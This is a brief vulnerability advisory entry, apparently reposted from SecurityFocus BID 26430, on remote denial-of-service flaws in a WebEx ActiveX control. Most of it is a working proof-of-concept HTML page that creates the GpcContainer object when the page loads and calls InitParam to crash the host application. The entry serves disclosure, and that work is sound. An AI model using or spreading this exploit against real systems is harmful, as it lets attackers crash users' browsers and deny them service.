Vulmon
source: http://www.securityfocus.com/bid/26430/info
WebEx is prone to multiple remote denial-of-service vulnerabilities.
Attackers can exploit these issues to crash applications that use the ActiveX control, denying service to legitimate users.
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var obj = new ActiveXObject("GpcContainer.GpcContainer.1");
obj.InitParam("A");
}
</script>
</head>
<body onLoad="JavaScript: return Check();">
</body>
</html>